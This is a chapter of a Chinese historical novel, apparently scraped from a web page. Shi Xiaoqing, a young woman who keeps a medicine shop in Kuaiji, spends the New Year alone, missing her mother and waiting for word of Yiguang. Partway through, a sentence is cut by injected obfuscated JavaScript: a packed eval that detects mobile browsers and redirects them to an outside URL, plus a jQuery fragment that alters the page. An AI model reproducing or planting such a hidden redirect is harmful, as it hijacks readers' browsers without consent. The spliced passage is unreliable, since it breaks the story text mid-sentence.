腊月的会稽城，风从北边来，掠过城墙，掠过屋顶，掠过光秃秃的树枝，钻进每一条巷子，每一道门缝，每一件不够厚的衣裳。


    施晓青把阿母寄来的那件棉袄穿上了，蓝布面子，白布里子，穿在身上臃肿得像一只笨拙的熊，但暖和。


    她在柜台后面坐着，手边是一碗热腾腾的姜枣茶，碗口冒着白气，把她的脸熏得暖融融的。


    铺子里没有病人。


    快过年了，大家都在忙着准备年货、打扫屋子、还旧账、讨新债，小病小痛能忍就忍了，谁也不愿意在这个时候往药铺跑。


    施晓青乐得清闲，把积攒了几个月的药材翻出来整理，该晒的晒，该切的切，该磨的磨。


    她把药柜的每个抽屉都打开来检查了一遍，哪个药快用完了，哪个药放久了该换了，都用炭笔记在树皮上，年后好去进货。


    她一边整理，一边听隔壁老李的铺子传来的动静。


    老李在跟人讨价还价，买年货的人多，他忙得脚不沾地，声音都喊哑了。


    施晓青听着那热闹，心里有些空落落的。


    往年这个时候，阿母会早早地把腊肉挂在灶房门口，用盐腌好，用烟熏着，熏得黑乎乎的，切开来红白分明，肥的透明，瘦的紧实。


    她会蹲在灶房门口，看着阿母忙进忙出，嘴里嚼着一块刚出锅的腊肉，烫得直吸气。


    今年，她吃不到阿母的腊肉了。


    她叹了口气，把药柜的最后一个抽屉关上，站起来，活动了一下僵硬的脖子。


    门口的光线忽然暗了一下，一个人走了进来。是个五十来岁的妇人，穿着洗得发白的旧棉袄，头发用一块灰布包着，脸上满是冻出来的红印子。


    她一进门就搓着手，哈着气，嘴里念叨着：“冷死了冷死了。”


    “大娘，喝碗姜枣茶暖暖。”施晓青舀了一碗递过去。


    妇人接过碗，喝了一大口，舒了口气：“施姑娘，你这里真暖和。”


    “火盆刚添了炭，您坐着烤烤。”施晓青搬了把椅子放在火盆边，妇人坐下来，把手伸到火上烤着，沉默了一会儿。


    “施姑娘，俺不是来看病的。俺是想……想请您帮个忙。”


    “您说。”


    “俺家那口子，在城外给人扛活，挣不了几个钱。俺有个儿子，今年十八了，在家闲着，想找个活干。听说您认识的人多，能不能帮俺问问，哪儿要人？”


    施晓青看着她，妇人的眼神里带着一种小心翼翼的、生怕被拒绝的恳求。


    这种眼神她见过很多次，在那些走投无路的人脸上。她知道，这妇人是鼓了很大的勇气才走进来的。


    “您儿子会什么？”


    “会种地，会砍柴，会简单的木工。人老实，不偷不抢，就是嘴笨，不会说话。”


    施晓青想了想：“老周铁匠铺最近在招学徒，管吃管住，工钱不高，但能学到手艺。让您儿子去试试？”


    妇人的眼睛一下子亮了：“真的？能行吗？”


    “我跟周师傅说一声，您让儿子直接去找他就行。就说是悬壶堂的施姑娘介绍的。”


    “哎！哎！多谢施姑娘！多谢！”妇人站起来，连连鞠躬。


    施晓青扶住她：“别这样。您坐着，再喝一碗，外面冷。”


    妇人又喝了一碗姜枣茶，千恩万谢地走了。


    施晓青站在门口，看着她的背影消失在巷口，想起了阿母。


    阿母会不会也这样，为了她，去求人，去低头，去说那些难以启齿的话？


    大概是会的。


    她转身走进铺子，继续整理药材。


    *


    腊月二十三，小年。


    会稽城从一大早就热闹起来，鞭炮声噼里啪啦的，孩子们在巷子里跑来跑去，手里拿着糖葫芦和面人，笑声清脆得像铃铛。


    施晓青在铺子里贴了一副春联，是隔壁私塾的先生帮她写的。


    上联“悬壶济世心”，下联“草药济人情”，横批“平安是福”。


    字好看，比她写的好看一百倍，但她看着那副春联，总觉得少了点什么。


    少了苎萝村的味道，以前都是阿母用浆糊贴的，浆糊是面粉加水熬的，稠稠的，黏黏的，贴上去撕都撕不下来。


    她每年都帮阿母贴春联，站在凳子上，够不着，还要踮起脚尖。阿母在下面扶着凳子，嘴里念叨着“歪了歪了往左一点”。


    她把春联贴好，退了兩步看了看，又上前調整了一下，再退后看。


    差不多，就这样吧。


    腊月二十五，施晓青收到了今年最后一封信。


    信是苎萝村来的，写在树皮上，字迹歪歪扭扭，是翠儿写的：“阿青，你答应过年回来的，怎么还不回来？你阿母天天站在村口看，看得我都心疼了。腊肉给你留着呢，你再不回来，我就帮你吃了！翠儿。”


    施晓青捧着那块树皮，眼泪簌簌地掉下来。


    她答应过的事，她记得。


    可她……不敢回去。


    她怕一回去，就不想再回来了。


    她怕看见阿母站在村口的样子，怕看见阿母的白头发，怕看见阿母那双粗糙的、布满裂口的手。


    她怕自己会留下来，再也不走了。


    她还不能留下来。夷光还在吴国，她还要在这里等着夷光的消息。


    她拿起炭笔，在树皮背面写下回信：“翠儿，今年回不去了。铺子里走不开。帮我跟阿母说，对不起。明年，明年一定回去。腊肉给我留着，别偷吃。阿青。”


    她把树皮折好，交给货郎，让他带回苎萝村。


    然后她坐在柜台后面，发了好一会儿呆。


    铺子里很安静，只有火盆里的炭火偶尔发出噼啪的声响。


    她看着那些跳动的火苗，忽然觉得有些累。


    她从苎萝村到会稽城


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512352|202064||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，从一个小村女到悬壶堂的施姑娘，从一个人到心里装着另一个人。


    她走了很长的路，做了很多的事，可她不知道还要走多久，还要做多少事，还要等多久。


    她把那根麻绳带子从怀里拿出来，在手指间慢慢地绕。


    带子已经很长的，长到可以在手腕上繞很多圈。每一扣都是她想说的话，都是她压下去的眼泪。


    她把带子贴在胸口，闭上眼。


    除夕。


    施晓青一个人过的。


    老李请她去家里吃年夜饭，她谢绝了。她不想在别人的团圆里，显得自己更孤单。


    她给自己煮了一碗饺子，猪肉白菜馅的，皮厚馅少，包得歪歪扭扭。她自己包的，包了一下午，包了几十个，只有几个勉强能看。


    她端着碗，坐在柜台后面，一个一个地吃。饺子很烫，烫得她舌头发麻，吃完最后一个饺子，她把碗放下，看着空荡荡的铺子，忽然觉得鼻子有些酸。


    她站起来，走到门口，推开门。


    外面很冷，风很大，把她的头发吹得乱七八糟。


    远处，内城方向传来隐约的丝竹声和鞭炮声，那是贵族们在庆祝新年。


    城南很安静，家家户户都关着门，灯火从窗缝里漏出来，橘黄色的，暖融融的。


    施晓青站在门口，抬头看着天。天上很多的星星，密密麻麻的，像是谁在天上撒了一把碎米。


    她想起苎萝村的除夕，阿母会做一桌子菜，虽然都是些粗茶淡饭，但每一样都是她爱吃的。


    吃完饭，阿母会坐在灶房门口，一边守岁一边纳鞋底，嘴里念叨着“新的一年，平平安安，健健康康”。


    她会在旁边坐着，听阿母念叨，看着灶里的火渐渐熄灭。


    今年，她听不到阿母的念叨了。


    她双手合十，许愿：


    “阿母，新年好。”


    “夷光，新年好。”


    “翠儿，新年好。”


    “郑旦，新年好。”


    “周师傅，新年好。”


    “老李，新年好。”


    她把所有能想到的人都问候了一遍，然后转身走进铺子，关上门。


    她没有守岁。她吹熄了油灯，躺在黑暗中。


    正月初一，会稽城下了一场大雪。


    天还没亮，城里的炮仗就开始响了，噼里啪啦的，此起彼伏，像是要把整座城炸上天。


    施晓青被吵醒了，她躺在床上听了一会儿，等炮仗声稀疏了些，才起来。


    她打开门，外面白茫茫一片。


    雪还在下，大片大片的，像是谁在天上撕棉花。


    巷子里没有人，所有的铺子都关着门，只有几个孩子在雪地里打滚，笑声清脆。


    施晓青站在门口，看了很久。然后她回去，给自己煮了一碗姜枣茶，坐在柜台后面，慢慢地喝。


    新的一年，就这么开始了。